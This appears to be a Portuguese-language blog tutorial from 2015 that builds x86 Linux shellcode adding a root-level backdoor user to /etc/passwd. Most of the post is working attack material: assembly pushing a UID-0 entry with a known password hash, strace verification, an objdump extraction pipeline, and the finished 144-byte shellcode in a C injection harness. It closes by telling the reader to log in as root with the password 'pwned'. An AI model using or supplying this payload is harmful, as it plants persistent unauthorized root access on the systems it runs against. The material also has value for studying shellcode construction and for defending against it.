sexta-feira, 13 de março de 2015

Shellcode Add User Root (Linux - X86)

Para criarmos um shellcode que adiciona um usuario root no sistema, iremos ter que editar o arquivo /etc/passwd, e colocar o nosso usuario, as system calls que deveremos usar são essas:
  • open
  • write
  • close
  • exit

Primeiro começamos criando o codigo em asm, para depois usando o objdump pegar o shellcode.
A primeira coisa a ser feita é abrir o arquivo, em modo escrita, precisaríamos então de:
open("/etc/passwd", O_WRONLY|O_APPEND);
Para descobrir o valor dos macros O_WRONLY e O_APPEND, você pode usar C, incluir a lib fcntl.h e dar printf neles, ou procurar usando o find:
[root@hc0d3r ~]$ find /usr/include/ -type f -name 'fcntl.h' -exec grep --color -HP 'define\s+(O_WRONLY|O_APPEND)' {} \;
/usr/include/i386-linux-gnu/bits/fcntl.h:#define O_WRONLY	     01
/usr/include/i386-linux-gnu/bits/fcntl.h:#define O_APPEND	  02000
/usr/include/asm-generic/fcntl.h:#define O_WRONLY	00000001
/usr/include/asm-generic/fcntl.h:#define O_APPEND	00002000

Note que existe um zero na frente, isso é notação octal, para descobrir o valor da operação OR e dos macros em decimal você pode usar o python console:
>>> 01
1
>>> 02000
1024
>>> 01|02000
1025

1025 é o numero que vai ser destinado para cx, let's go:
section .text
	global _start

_start:
	xor eax,eax ;
	xor ebx,ebx ; zerando o registradores
	xor ecx,ecx ;

	push eax ; \0 no esp
	push 0x64777373 ; dwss
	push 0x61702f2f ; ap// ; /etc//passwd
	push 0x6374652f ; cte/
	mov ebx, esp; coloca o valor do esp em ebx

	mov cx,1025 ; O_WRONLY|O_APPEND ; cx no lugar de ecx, para evitar null-byte

	push 5 ; sys_open
	pop eax
	int 0x80

	; EXIT sempre deixe o exit no final de cada codigo mostrado nesse tutorial

	xor eax, eax ; exit, para nao ter erro de segmentation fault
	xor ebx, ebx ;
	inc eax ;
	int 0x80 ;

Testando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
_exit(0)                                = ?

Caso ocorra algum erro no open é porque você não executou como root, ou o arquivo não tem permissão de escrita, vou ensinar a criar shellcode para alterar permissão de arquivos em outro tutorial (normalmente as permissões de /etc/passwd são 644).
Agora a segunda etapa é escrever o usuário no arquivo, a sintaxe do arquivo /etc/passwd é a seguinte:
usuario:hash:uid:gid:comentarios:diretorio home:shell

Normalmente no lugar do hash no /etc/passwd existe um x, isso significa que o hash esta em outro arquivo (/etc/shadow).
Para gerar a senha usaremos o openssl, se quiser saber mais sobre os tipos de hash, basta digitar:
man crypt
[root@hc0d3r asm]$ openssl passwd -1 pwned
$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0::/root:/bin/bash
A string tem 62 bytes, precisamos deixar ela multipla de 4, para isso basta adicionar 1 caractere na parte reservada para comentarios e uma quebra de linha no final:
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0:.:/root:/bin/bash\n

Código em ASM:
	xor ebx, ebx
	xor ecx, ecx

	push ebx ; \0
	push 0x0a687361 ;\nhsa
	push 0x622f6e69 ;b/ni
	push 0x622f3a74 ;b/:t
	push 0x6f6f722f ;oor/
	push 0x3a2e3a30 ;:.:0
	push 0x3a303a2e ;:0:.
	push 0x3468576a ;4hWj
	push 0x68747571 ;htuq
	push 0x43423549 ;CB5I
	push 0x51647779 ;Qdwy
	push 0x442f4252 ;D/BR
	push 0x6f247658 ;o$vX
	push 0x386e6a6c ;8njl
	push 0x6d6d2431 ;mm$1
	push 0x243a7233 ;$:r3
	push 0x64306368 ;d0ch
	mov ecx, esp

	push eax ; o valor de retorno de sys_open, vai pra eax, usamos esse valor em ebx
	pop ebx

	push 64; tamanho da string
	pop edx

	push 4
	pop eax

	int 0x80

Testando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
_exit(0)                                = ?
[root@hc0d3r asm]$ cat /etc/passwd | grep hc0d3r
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0:.:/root:/bin/bash

O usuário já foi criado, agora é só dar close no fd, e gerar o shellcode usando o objdump:
        xor eax, eax ; como ebx ja esta com o valor do fd, so precisamos setar o valor de eax
        push 6 ; sys_close
        pop eax
        int 0x80

Executando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
close(3)                                = 0
_exit(0)                                = ?

Tudo OK, agora vamos gerar o shellcode !!
[root@hc0d3r asm]$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x50\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\x6a\x05\x58\xcd\x80\x31\xdb\x31\xc9\x53\x68\x61\x73\x68\x0a\x68\x69\x6e\x2f\x62\x68\x74\x3a\x2f\x62\x68\x2f\x72\x6f\x6f\x68\x30\x3a\x2e\x3a\x68\x2e\x3a\x30\x3a\x68\x6a\x57\x68\x34\x68\x71\x75\x74\x68\x68\x49\x35\x42\x43\x68\x79\x77\x64\x51\x68\x52\x42\x2f\x44\x68\x58\x76\x24\x6f\x68\x6c\x6a\x6e\x38\x68\x31\x24\x6d\x6d\x68\x33\x72\x3a\x24\x68\x68\x63\x30\x64\x89\xe1\x6a\x40\x5a\x50\x5b\x6a\x04\x58\xcd\x80\x31\xc0\x6a\x06\x58\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80"

Em C:
#include <stdio.h>
#include <string.h>

unsigned const char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x50\x68\x73\x73\x77\x64"
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
"\x66\xb9\x01\x04\x6a\x05\x58\xcd\x80\x31\xdb\x31"
"\xc9\x53\x68\x61\x73\x68\x0a\x68\x69\x6e\x2f\x62"
"\x68\x74\x3a\x2f\x62\x68\x2f\x72\x6f\x6f\x68\x30"
"\x3a\x2e\x3a\x68\x2e\x3a\x30\x3a\x68\x6a\x57\x68"
"\x34\x68\x71\x75\x74\x68\x68\x49\x35\x42\x43\x68"
"\x79\x77\x64\x51\x68\x52\x42\x2f\x44\x68\x58\x76"
"\x24\x6f\x68\x6c\x6a\x6e\x38\x68\x31\x24\x6d\x6d"
"\x68\x33\x72\x3a\x24\x68\x68\x63\x30\x64\x89\xe1"
"\x6a\x40\x5a\x50\x5b\x6a\x04\x58\xcd\x80\x31\xc0"
"\x6a\x06\x58\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80";

int main(void){
	printf("shellcode len: %d bytes\n",sizeof(shellcode)-1);
	//(*(void(*)())shellcode)(); // injetar !!!
	return 0;
}

Testando:
[root@hc0d3r asm]$ ./shellcode
shellcode len: 144 bytes

Injectando:
[root@hc0d3r asm]$ strace ./shellcode-inject
execve("./shellcode-inject", ["./shellcode-inject"], [/* 31 vars */]) = 0
[...]
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
close(3)                                = 0
_exit(0)                                = ?

Depois é só logar via ssh ou su, com a senha pwned.

Nenhum comentário:

Postar um comentário